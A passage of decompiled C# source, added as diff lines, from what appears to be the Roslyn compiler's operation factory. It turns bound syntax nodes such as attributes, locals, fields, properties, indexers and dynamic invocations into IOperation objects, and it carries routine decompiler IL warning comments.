//IL_002a: Expected O, but got Unknown + return (IOperation)new AddressOfOperation(Create(boundUnconvertedAddressOf.Operand), _semanticModel, boundUnconvertedAddressOf.Syntax, boundUnconvertedAddressOf.GetPublicTypeSymbol(), boundUnconvertedAddressOf.WasCompilerGenerated); + } + + private IOperation CreateBoundAttributeOperation(BoundAttribute boundAttribute) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected O, but got Unknown + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Expected O, but got Unknown + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected O, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Expected O, but got Unknown + bool wasCompilerGenerated = boundAttribute.WasCompilerGenerated; + if ((object)boundAttribute.Constructor != null) + { + ObjectOrCollectionInitializerOperation val = null; + if (!boundAttribute.NamedArguments.IsEmpty) + { + val = new ObjectOrCollectionInitializerOperation(this.CreateFromArray(boundAttribute.NamedArguments), _semanticModel, boundAttribute.Syntax, boundAttribute.GetPublicTypeSymbol(), true); + } + return (IOperation)new AttributeOperation((IOperation)new ObjectCreationOperation(boundAttribute.Constructor.GetPublicSymbol(), (IObjectOrCollectionInitializerOperation)(object)val, DeriveArguments(boundAttribute), _semanticModel, boundAttribute.Syntax, boundAttribute.GetPublicTypeSymbol(), boundAttribute.ConstantValueOpt, true), _semanticModel, boundAttribute.Syntax, wasCompilerGenerated); + } + return (IOperation)new AttributeOperation((IOperation)(object)OperationFactory.CreateInvalidOperation(_semanticModel, boundAttribute.Syntax, GetIOperationChildren(boundAttribute), true), _semanticModel, boundAttribute.Syntax, wasCompilerGenerated); + } + + internal ImmutableArray CreateIgnoredDimensions(BoundNode declaration) + { + switch (declaration.Kind) + { + case BoundKind.LocalDeclaration: + { + BoundTypeExpression declaredTypeOpt = ((BoundLocalDeclaration)declaration).DeclaredTypeOpt; + return this.CreateFromArray(declaredTypeOpt.BoundDimensionsOpt); + } + case BoundKind.MultipleLocalDeclarations: + case BoundKind.UsingLocalDeclarations: + { + ImmutableArray localDeclarations = ((BoundMultipleLocalDeclarationsBase)declaration).LocalDeclarations; + ImmutableArray boundNodes = ((localDeclarations.Length <= 0) ? ImmutableArray.Empty : localDeclarations[0].DeclaredTypeOpt.BoundDimensionsOpt); + return this.CreateFromArray(boundNodes); + } + default: + throw ExceptionUtilities.UnexpectedValue((object)declaration.Kind); + } + } + + internal IOperation CreateBoundLocalOperation(BoundLocal boundLocal, bool createDeclaration = true) + { + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + ILocalSymbol publicSymbol = boundLocal.LocalSymbol.GetPublicSymbol(); + bool flag = boundLocal.DeclarationKind != BoundLocalDeclarationKind.None; + SyntaxNode val = boundLocal.Syntax; + ITypeSymbol publicTypeSymbol = boundLocal.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundLocal.ConstantValueOpt; + bool wasCompilerGenerated = boundLocal.WasCompilerGenerated; + if (flag && val is DeclarationExpressionSyntax declarationExpressionSyntax) + { + val = (SyntaxNode)(object)declarationExpressionSyntax.Designation; + if (createDeclaration) + { + return (IOperation)new DeclarationExpressionOperation(CreateBoundLocalOperation(boundLocal, createDeclaration: false), _semanticModel, (SyntaxNode)(object)declarationExpressionSyntax, publicTypeSymbol, false); + } + } + return (IOperation)new LocalReferenceOperation(publicSymbol, flag, _semanticModel, val, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + internal IOperation CreateBoundFieldAccessOperation(BoundFieldAccess boundFieldAccess, bool createDeclaration = true) + { + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Expected O, but got Unknown + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Expected O, but got Unknown + IFieldSymbol publicSymbol = boundFieldAccess.FieldSymbol.GetPublicSymbol(); + bool isDeclaration = boundFieldAccess.IsDeclaration; + SyntaxNode val = boundFieldAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundFieldAccess.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundFieldAccess.ConstantValueOpt; + bool wasCompilerGenerated = boundFieldAccess.WasCompilerGenerated; + if (isDeclaration && val is DeclarationExpressionSyntax declarationExpressionSyntax) + { + val = (SyntaxNode)(object)declarationExpressionSyntax.Designation; + if (createDeclaration) + { + return (IOperation)new DeclarationExpressionOperation(CreateBoundFieldAccessOperation(boundFieldAccess, createDeclaration: false), _semanticModel, (SyntaxNode)(object)declarationExpressionSyntax, publicTypeSymbol, false); + } + } + IOperation val2 = CreateReceiverOperation(boundFieldAccess.ReceiverOpt, boundFieldAccess.FieldSymbol); + return (IOperation)new FieldReferenceOperation(publicSymbol, isDeclaration, val2, _semanticModel, val, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + internal IOperation? CreateBoundPropertyReferenceInstance(BoundNode boundNode) + { + if (!(boundNode is BoundPropertyAccess boundPropertyAccess)) + { + if (!(boundNode is BoundObjectInitializerMember boundObjectInitializerMember)) + { + if (boundNode is BoundIndexerAccess boundIndexerAccess) + { + return CreateReceiverOperation(boundIndexerAccess.ReceiverOpt, boundIndexerAccess.ExpressionSymbol); + } + throw ExceptionUtilities.UnexpectedValue((object)boundNode.Kind); + } + Symbol? memberSymbol = boundObjectInitializerMember.MemberSymbol; + if ((object)memberSymbol == null || !memberSymbol.IsStatic) + { + return (IOperation?)(object)CreateImplicitReceiver(boundObjectInitializerMember.Syntax, boundObjectInitializerMember.ReceiverType); + } + return null; + } + return CreateReceiverOperation(boundPropertyAccess.ReceiverOpt, boundPropertyAccess.PropertySymbol); + } + + private IPropertyReferenceOperation CreateBoundPropertyAccessOperation(BoundPropertyAccess boundPropertyAccess) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + IOperation val = CreateReceiverOperation(boundPropertyAccess.ReceiverOpt, boundPropertyAccess.PropertySymbol); + ImmutableArray empty = ImmutableArray.Empty; + IPropertySymbol? publicSymbol = boundPropertyAccess.PropertySymbol.GetPublicSymbol(); + SyntaxNode syntax = boundPropertyAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundPropertyAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundPropertyAccess.WasCompilerGenerated; + TypeParameterSymbol constrainedToType = GetConstrainedToType(boundPropertyAccess.PropertySymbol, boundPropertyAccess.ReceiverOpt); + return (IPropertyReferenceOperation)new PropertyReferenceOperation(publicSymbol, (ITypeSymbol)(object)constrainedToType.GetPublicSymbol(), empty, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundIndexerAccessOperation(BoundIndexerAccess boundIndexerAccess) + { + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Expected O, but got Unknown + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Expected O, but got Unknown + PropertySymbol indexer = boundIndexerAccess.Indexer; + SyntaxNode syntax = boundIndexerAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundIndexerAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundIndexerAccess.WasCompilerGenerated; + if (boundIndexerAccess.OriginalIndexersOpt.IsDefault && boundIndexerAccess.ResultKind != LookupResultKind.OverloadResolutionFailure) + { + ImmutableArray immutableArray = DeriveArguments(boundIndexerAccess); + IOperation val = CreateReceiverOperation(boundIndexerAccess.ReceiverOpt, boundIndexerAccess.ExpressionSymbol); + TypeParameterSymbol constrainedToType = GetConstrainedToType(indexer, boundIndexerAccess.ReceiverOpt); + return (IOperation)new PropertyReferenceOperation(indexer.GetPublicSymbol(), (ITypeSymbol)(object)constrainedToType.GetPublicSymbol(), immutableArray, val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + return (IOperation)new InvalidOperation(this.CreateFromArray(((IBoundInvalidNode)boundIndexerAccess).InvalidNodeChildren), _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + } + + private IEventReferenceOperation CreateBoundEventAccessOperation(BoundEventAccess boundEventAccess) + { + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + IEventSymbol? publicSymbol = boundEventAccess.EventSymbol.GetPublicSymbol(); + IOperation val = CreateReceiverOperation(boundEventAccess.ReceiverOpt, boundEventAccess.EventSymbol); + SyntaxNode syntax = boundEventAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundEventAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundEventAccess.WasCompilerGenerated; + TypeParameterSymbol constrainedToType = GetConstrainedToType(boundEventAccess.EventSymbol, boundEventAccess.ReceiverOpt); + return (IEventReferenceOperation)new EventReferenceOperation(publicSymbol, (ITypeSymbol)(object)constrainedToType.GetPublicSymbol(), val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IEventAssignmentOperation CreateBoundEventAssignmentOperatorOperation(BoundEventAssignmentOperator boundEventAssignmentOperator) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Expected O, but got Unknown + IEventReferenceOperation obj = CreateBoundEventAccessOperation(boundEventAssignmentOperator); + IOperation val = Create(boundEventAssignmentOperator.Argument); + SyntaxNode syntax = boundEventAssignmentOperator.Syntax; + bool isAddition = boundEventAssignmentOperator.IsAddition; + ITypeSymbol publicTypeSymbol = boundEventAssignmentOperator.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundEventAssignmentOperator.WasCompilerGenerated; + return (IEventAssignmentOperation)new EventAssignmentOperation((IOperation)(object)obj, val, isAddition, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IParameterReferenceOperation CreateBoundParameterOperation(BoundParameter boundParameter) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Expected O, but got Unknown + IParameterSymbol? publicSymbol = boundParameter.ParameterSymbol.GetPublicSymbol(); + SyntaxNode syntax = boundParameter.Syntax; + ITypeSymbol publicTypeSymbol = boundParameter.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundParameter.WasCompilerGenerated; + return (IParameterReferenceOperation)new ParameterReferenceOperation(publicSymbol, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + internal ILiteralOperation CreateBoundLiteralOperation(BoundLiteral boundLiteral, bool @implicit = false) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + SyntaxNode syntax = boundLiteral.Syntax; + ITypeSymbol publicTypeSymbol = boundLiteral.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundLiteral.ConstantValueOpt; + bool flag = boundLiteral.WasCompilerGenerated || @implicit; + return (ILiteralOperation)new LiteralOperation(_semanticModel, syntax, publicTypeSymbol, constantValueOpt, flag); + } + + private IUtf8StringOperation CreateBoundUtf8StringOperation(BoundUtf8String boundNode) + { + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Expected O, but got Unknown + SyntaxNode syntax = boundNode.Syntax; + ITypeSymbol publicTypeSymbol = boundNode.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundNode.WasCompilerGenerated; + return (IUtf8StringOperation)new Utf8StringOperation(boundNode.Value, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IAnonymousObjectCreationOperation CreateBoundAnonymousObjectCreationExpressionOperation(BoundAnonymousObjectCreationExpression boundAnonymousObjectCreationExpression) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + SyntaxNode syntax = boundAnonymousObjectCreationExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundAnonymousObjectCreationExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundAnonymousObjectCreationExpression.WasCompilerGenerated; + return (IAnonymousObjectCreationOperation)new AnonymousObjectCreationOperation(GetAnonymousObjectCreationInitializers(boundAnonymousObjectCreationExpression.Arguments, boundAnonymousObjectCreationExpression.Declarations, syntax, publicTypeSymbol, wasCompilerGenerated), _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundObjectCreationExpressionOperation(BoundObjectCreationExpression boundObjectCreationExpression) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + MethodSymbol constructor = boundObjectCreationExpression.Constructor; + SyntaxNode syntax = boundObjectCreationExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundObjectCreationExpression.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundObjectCreationExpression.ConstantValueOpt; + bool wasCompilerGenerated = boundObjectCreationExpression.WasCompilerGenerated; + if (boundObjectCreationExpression.ResultKind != LookupResultKind.OverloadResolutionFailure && !(constructor.OriginalDefinition is ErrorMethodSymbol)) + { + if (!boundObjectCreationExpression.Type.IsAnonymousType) + { + ImmutableArray immutableArray = DeriveArguments(boundObjectCreationExpression); + IObjectOrCollectionInitializerOperation val = (IObjectOrCollectionInitializerOperation)Create(boundObjectCreationExpression.InitializerExpressionOpt); + return (IOperation)new ObjectCreationOperation(constructor.GetPublicSymbol(), val, immutableArray, _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + return (IOperation)new AnonymousObjectCreationOperation(GetAnonymousObjectCreationInitializers(boundObjectCreationExpression.Arguments, ImmutableArray.Empty, syntax, publicTypeSymbol, wasCompilerGenerated), _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + return (IOperation)new InvalidOperation(this.CreateFromArray(((IBoundInvalidNode)boundObjectCreationExpression).InvalidNodeChildren), _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IOperation CreateBoundWithExpressionOperation(BoundWithExpression boundWithExpression) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + IOperation? obj = Create(boundWithExpression.Receiver); + IObjectOrCollectionInitializerOperation val = (IObjectOrCollectionInitializerOperation)Create(boundWithExpression.InitializerExpression); + MethodSymbol cloneMethod = boundWithExpression.CloneMethod; + SyntaxNode syntax = boundWithExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundWithExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundWithExpression.WasCompilerGenerated; + return (IOperation)new WithOperation(obj, cloneMethod.GetPublicSymbol(), val, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IDynamicObjectCreationOperation CreateBoundDynamicObjectCreationExpressionOperation(BoundDynamicObjectCreationExpression boundDynamicObjectCreationExpression) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + IObjectOrCollectionInitializerOperation val = (IObjectOrCollectionInitializerOperation)Create(boundDynamicObjectCreationExpression.InitializerExpressionOpt); + ImmutableArray immutableArray = this.CreateFromArray(boundDynamicObjectCreationExpression.Arguments); + ImmutableArray immutableArray2 = ImmutableArrayExtensions.NullToEmpty(boundDynamicObjectCreationExpression.ArgumentNamesOpt); + ImmutableArray immutableArray3 = ImmutableArrayExtensions.NullToEmpty(boundDynamicObjectCreationExpression.ArgumentRefKindsOpt); + SyntaxNode syntax = boundDynamicObjectCreationExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundDynamicObjectCreationExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDynamicObjectCreationExpression.WasCompilerGenerated; + return (IDynamicObjectCreationOperation)new DynamicObjectCreationOperation(val, immutableArray, immutableArray2, immutableArray3, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + internal IOperation CreateBoundDynamicInvocationExpressionReceiver(BoundNode receiver) + { + if (!(receiver is BoundObjectOrCollectionValuePlaceholder boundObjectOrCollectionValuePlaceholder)) + { + if (receiver is BoundMethodGroup boundMethodGroup) + { + return (IOperation)(object)CreateBoundDynamicMemberAccessOperation(boundMethodGroup.ReceiverOpt, TypeMap.AsTypeSymbols(boundMethodGroup.TypeArgumentsOpt), boundMethodGroup.Name, boundMethodGroup.Syntax, boundMethodGroup.GetPublicTypeSymbol(), boundMethodGroup.WasCompilerGenerated); + } + return Create(receiver); + } + return (IOperation)(object)CreateBoundDynamicMemberAccessOperation(boundObjectOrCollectionValuePlaceholder, ImmutableArray.Empty, "Add", boundObjectOrCollectionValuePlaceholder.Syntax, null, isImplicit: true); + } + + private IDynamicInvocationOperation CreateBoundDynamicInvocationExpressionOperation(BoundDynamicInvocation boundDynamicInvocation) + { + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Expected O, but got Unknown + IOperation obj = CreateBoundDynamicInvocationExpressionReceiver(boundDynamicInvocation.Expression); + ImmutableArray immutableArray = this.CreateFromArray(boundDynamicInvocation.Arguments); + ImmutableArray immutableArray2 = ImmutableArrayExtensions.NullToEmpty(boundDynamicInvocation.ArgumentNamesOpt); + ImmutableArray immutableArray3 = ImmutableArrayExtensions.NullToEmpty(boundDynamicInvocation.ArgumentRefKindsOpt); + SyntaxNode syntax = boundDynamicInvocation.Syntax; + ITypeSymbol publicTypeSymbol = boundDynamicInvocation.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDynamicInvocation.WasCompilerGenerated; + return (IDynamicInvocationOperation)new DynamicInvocationOperation(obj, immutableArray, immutableArray2, immutableArray3, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + internal IOperation CreateBoundDynamicIndexerAccessExpressionReceiver(BoundExpression indexer) + { + if (!(indexer is BoundDynamicIndexerAccess boundDynamicIndexerAccess)) + { + if (indexer is BoundObjectInitializerMember boundObjectInitializerMember) + { + return (IOperation)(object)CreateImplicitReceiver(boundObjectInitializerMember.Syntax, boundObjectInitializerMember.ReceiverType); + } + throw ExceptionUtilities.UnexpectedValue((object)indexer.Kind); + } + return Create(boundDynamicIndexerAccess.Receiver); + } + + internal ImmutableArray CreateBoundDynamicIndexerAccessArguments(BoundExpression indexer) + { + if (!(indexer is BoundDynamicIndexerAccess boundDynamicIndexerAccess)) + { + if (indexer is BoundObjectInitializerMember boundObjectInitializerMember) + { + return this.CreateFromArray(boundObjectInitializerMember.Arguments); + } + throw ExceptionUtilities.UnexpectedValue((object)indexer.Kind); + } + return this.CreateFromArray(boundDynamicIndexerAccess.Arguments); + } + + private IDynamicIndexerAccessOperation CreateBoundDynamicIndexerAccessExpressionOperation(BoundDynamicIndexerAccess boundDynamicIndexerAccess) + { + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + IOperation obj = CreateBoundDynamicIndexerAccessExpressionReceiver(boundDynamicIndexerAccess); + ImmutableArray immutableArray = CreateBoundDynamicIndexerAccessArguments(boundDynamicIndexerAccess); + ImmutableArray immutableArray2 = ImmutableArrayExtensions.NullToEmpty(boundDynamicIndexerAccess.ArgumentNamesOpt); + ImmutableArray immutableArray3 = ImmutableArrayExtensions.NullToEmpty(boundDynamicIndexerAccess.ArgumentRefKindsOpt); + SyntaxNode syntax = boundDynamicIndexerAccess.Syntax; + ITypeSymbol publicTypeSymbol = boundDynamicIndexerAccess.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDynamicIndexerAccess.WasCompilerGenerated; + return (IDynamicIndexerAccessOperation)new DynamicIndexerAccessOperation(obj, immutableArray, immutableArray2, immutableArray3, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IObjectOrCollectionInitializerOperation CreateBoundObjectInitializerExpressionOperation(BoundObjectInitializerExpression boundObjectInitializerExpression) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(BoundObjectCreationExpression.GetChildInitializers(boundObjectInitializerExpression)); + SyntaxNode syntax = boundObjectInitializerExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundObjectInitializerExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundObjectInitializerExpression.WasCompilerGenerated; + return (IObjectOrCollectionInitializerOperation)new ObjectOrCollectionInitializerOperation(immutableArray, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IObjectOrCollectionInitializerOperation CreateBoundCollectionInitializerExpressionOperation(BoundCollectionInitializerExpression boundCollectionInitializerExpression) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + ImmutableArray immutableArray = this.CreateFromArray(BoundObjectCreationExpression.GetChildInitializers(boundCollectionInitializerExpression)); + SyntaxNode syntax = boundCollectionInitializerExpression.Syntax; + ITypeSymbol publicTypeSymbol = boundCollectionInitializerExpression.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundCollectionInitializerExpression.WasCompilerGenerated; + return (IObjectOrCollectionInitializerOperation)new ObjectOrCollectionInitializerOperation(immutableArray, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundObjectInitializerMemberOperation(BoundObjectInitializerMember boundObjectInitializerMember, bool isObjectOrCollectionInitializer = false) + { + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Invalid comparison between Unknown and I4 + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Invalid comparison between Unknown and I4 + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f0: Expected O, but got Unknown + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Invalid comparison between Unknown and I4 + //IL_01d6: Unknown result type (might be due to invalid IL or missing references) + //IL_01ca: Unknown result type (might be due to invalid IL or missing references) + //IL_01d0: Expected O, but got Unknown + //IL_0192: Unknown result type (might be due to invalid IL or missing references) + //IL_0198: Expected O, but got Unknown + Symbol memberSymbol = boundObjectInitializerMember.MemberSymbol; + SyntaxNode syntax = boundObjectInitializerMember.Syntax; + ITypeSymbol publicTypeSymbol = boundObjectInitializerMember.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundObjectInitializerMember.WasCompilerGenerated; + if ((object)memberSymbol == null) + { + IOperation obj = CreateBoundDynamicIndexerAccessExpressionReceiver(boundObjectInitializerMember); + ImmutableArray immutableArray = CreateBoundDynamicIndexerAccessArguments(boundObjectInitializerMember); + ImmutableArray immutableArray2 = ImmutableArrayExtensions.NullToEmpty(boundObjectInitializerMember.ArgumentNamesOpt); + ImmutableArray immutableArray3 = ImmutableArrayExtensions.NullToEmpty(boundObjectInitializerMember.ArgumentRefKindsOpt); + return (IOperation)new DynamicIndexerAccessOperation(obj, immutableArray, immutableArray2, immutableArray3, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + SymbolKind kind = memberSymbol.Kind; + if ((int)kind != 5) + { + if ((int)kind != 6) + { + if ((int)kind == 15) + { + PropertySymbol propertySymbol = (PropertySymbol)memberSymbol; + ImmutableArray immutableArray4; + if (!boundObjectInitializerMember.Arguments.IsEmpty) + { + MethodSymbol methodSymbol = (isObjectOrCollectionInitializer ? propertySymbol.GetOwnOrInheritedGetMethod() : propertySymbol.GetOwnOrInheritedSetMethod()); + if (methodSymbol == null || boundObjectInitializerMember.ResultKind == LookupResultKind.OverloadResolutionFailure || methodSymbol.OriginalDefinition is ErrorMethodSymbol) + { + return (IOperation)new InvalidOperation(this.CreateFromArray(((IBoundInvalidNode)boundObjectInitializerMember).InvalidNodeChildren), _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + } + immutableArray4 = DeriveArguments(boundObjectInitializerMember); + } + else + { + immutableArray4 = ImmutableArray.Empty; + } + return (IOperation)new PropertyReferenceOperation(propertySymbol.GetPublicSymbol(), (ITypeSymbol)null, immutableArray4, createReceiver(), _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + throw ExceptionUtilities.UnexpectedValue((object)memberSymbol.Kind); + } + FieldSymbol symbol = (FieldSymbol)memberSymbol; + bool flag = false; + return (IOperation)new FieldReferenceOperation(symbol.GetPublicSymbol(), flag, createReceiver(), _semanticModel, syntax, publicTypeSymbol, (ConstantValue)null, wasCompilerGenerated); + } + return (IOperation)new EventReferenceOperation(((EventSymbol)memberSymbol).GetPublicSymbol(), (ITypeSymbol)null, createReceiver(), _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + IOperation? createReceiver() + { + Symbol symbol2 = memberSymbol; + if ((object)symbol2 == null || !symbol2.IsStatic) + { + return (IOperation?)(object)CreateImplicitReceiver(boundObjectInitializerMember.Syntax, boundObjectInitializerMember.ReceiverType); + } + return null; + } + } + + private IOperation CreateBoundDynamicObjectInitializerMemberOperation(BoundDynamicObjectInitializerMember boundDynamicObjectInitializerMember) + { + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Expected O, but got Unknown + IInstanceReferenceOperation obj = CreateImplicitReceiver(boundDynamicObjectInitializerMember.Syntax, boundDynamicObjectInitializerMember.ReceiverType); + string memberName = boundDynamicObjectInitializerMember.MemberName; + ImmutableArray empty = ImmutableArray.Empty; + ITypeSymbol publicSymbol = boundDynamicObjectInitializerMember.ReceiverType.GetPublicSymbol(); + SyntaxNode syntax = boundDynamicObjectInitializerMember.Syntax; + ITypeSymbol publicTypeSymbol = boundDynamicObjectInitializerMember.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundDynamicObjectInitializerMember.WasCompilerGenerated; + return (IOperation)new DynamicMemberReferenceOperation((IOperation)(object)obj, memberName, empty, publicSymbol, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + + private IOperation CreateBoundCollectionElementInitializerOperation(BoundCollectionElementInitializer boundCollectionElementInitializer) + { + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Expected O, but got Unknown + MethodSymbol addMethod = boundCollectionElementInitializer.AddMethod; + IOperation val = CreateReceiverOperation(boundCollectionElementInitializer.ImplicitReceiverOpt, addMethod); + ImmutableArray immutableArray = DeriveArguments(boundCollectionElementInitializer); + SyntaxNode syntax = boundCollectionElementInitializer.Syntax; + ITypeSymbol publicTypeSymbol = boundCollectionElementInitializer.GetPublicTypeSymbol(); + ConstantValue constantValueOpt = boundCollectionElementInitializer.ConstantValueOpt; + bool wasCompilerGenerated = boundCollectionElementInitializer.WasCompilerGenerated; + if (!IsMethodInvalid(boundCollectionElementInitializer.ResultKind, addMethod)) + { + bool flag = IsCallVirtual(addMethod, boundCollectionElementInitializer.ImplicitReceiverOpt); + return (IOperation)new InvocationOperation(addMethod.GetPublicSymbol(), (ITypeSymbol)null, val, flag, immutableArray, _semanticModel, syntax, publicTypeSymbol, wasCompilerGenerated); + } + return (IOperation)new InvalidOperation(this.CreateFromArray(((IBoundInvalidNode)boundCollectionElementInitializer).InvalidNodeChildren), _semanticModel, syntax, publicTypeSymbol, constantValueOpt, wasCompilerGenerated); + } + + private IDynamicMemberReferenceOperation CreateBoundDynamicMemberAccessOperation(BoundDynamicMemberAccess boundDynamicMemberAccess) + { + return CreateBoundDynamicMemberAccessOperation(boundDynamicMemberAccess.Receiver, TypeMap.AsTypeSymbols(boundDynamicMemberAccess.TypeArgumentsOpt), boundDynamicMemberAccess.Name, boundDynamicMemberAccess.Syntax, boundDynamicMemberAccess.GetPublicTypeSymbol(), boundDynamicMemberAccess.WasCompilerGenerated); + } + + private IDynamicMemberReferenceOperation CreateBoundDynamicMemberAccessOperation(BoundExpression? receiver, ImmutableArray typeArgumentsOpt, string memberName, SyntaxNode syntaxNode, ITypeSymbol? type, bool isImplicit) + { + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Expected O, but got Unknown + ITypeSymbol val = null; + if (receiver != null && receiver.Kind == BoundKind.TypeExpression) + { + val = receiver.GetPublicTypeSymbol(); + receiver = null; + } + ImmutableArray immutableArray = ImmutableArray.Empty; + if (!typeArgumentsOpt.IsDefault) + { + immutableArray = typeArgumentsOpt.GetPublicSymbols(); + } + return (IDynamicMemberReferenceOperation)new DynamicMemberReferenceOperation(Create(receiver), memberName, immutableArray, val, _semanticModel, syntaxNode, type, isImplicit); + } + + private IDynamicInvocationOperation CreateBoundDynamicCollectionElementInitializerOperation(BoundDynamicCollectionElementInitializer boundCollectionElementInitializer) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + IOperation obj = CreateBoundDynamicInvocationExpressionReceiver(boundCollectionElementInitializer.Expression); + ImmutableArray immutableArray = this.CreateFromArray(boundCollectionElementInitializer.Arguments); + SyntaxNode syntax = boundCollectionElementInitializer.Syntax; + ITypeSymbol publicTypeSymbol = boundCollectionElementInitializer.GetPublicTypeSymbol(); + bool wasCompilerGenerated = boundCollectionElementInitializer.WasCompilerGenerated; + return (IDynamicInvocationOperation)new DynamicInvocationOperation(obj, 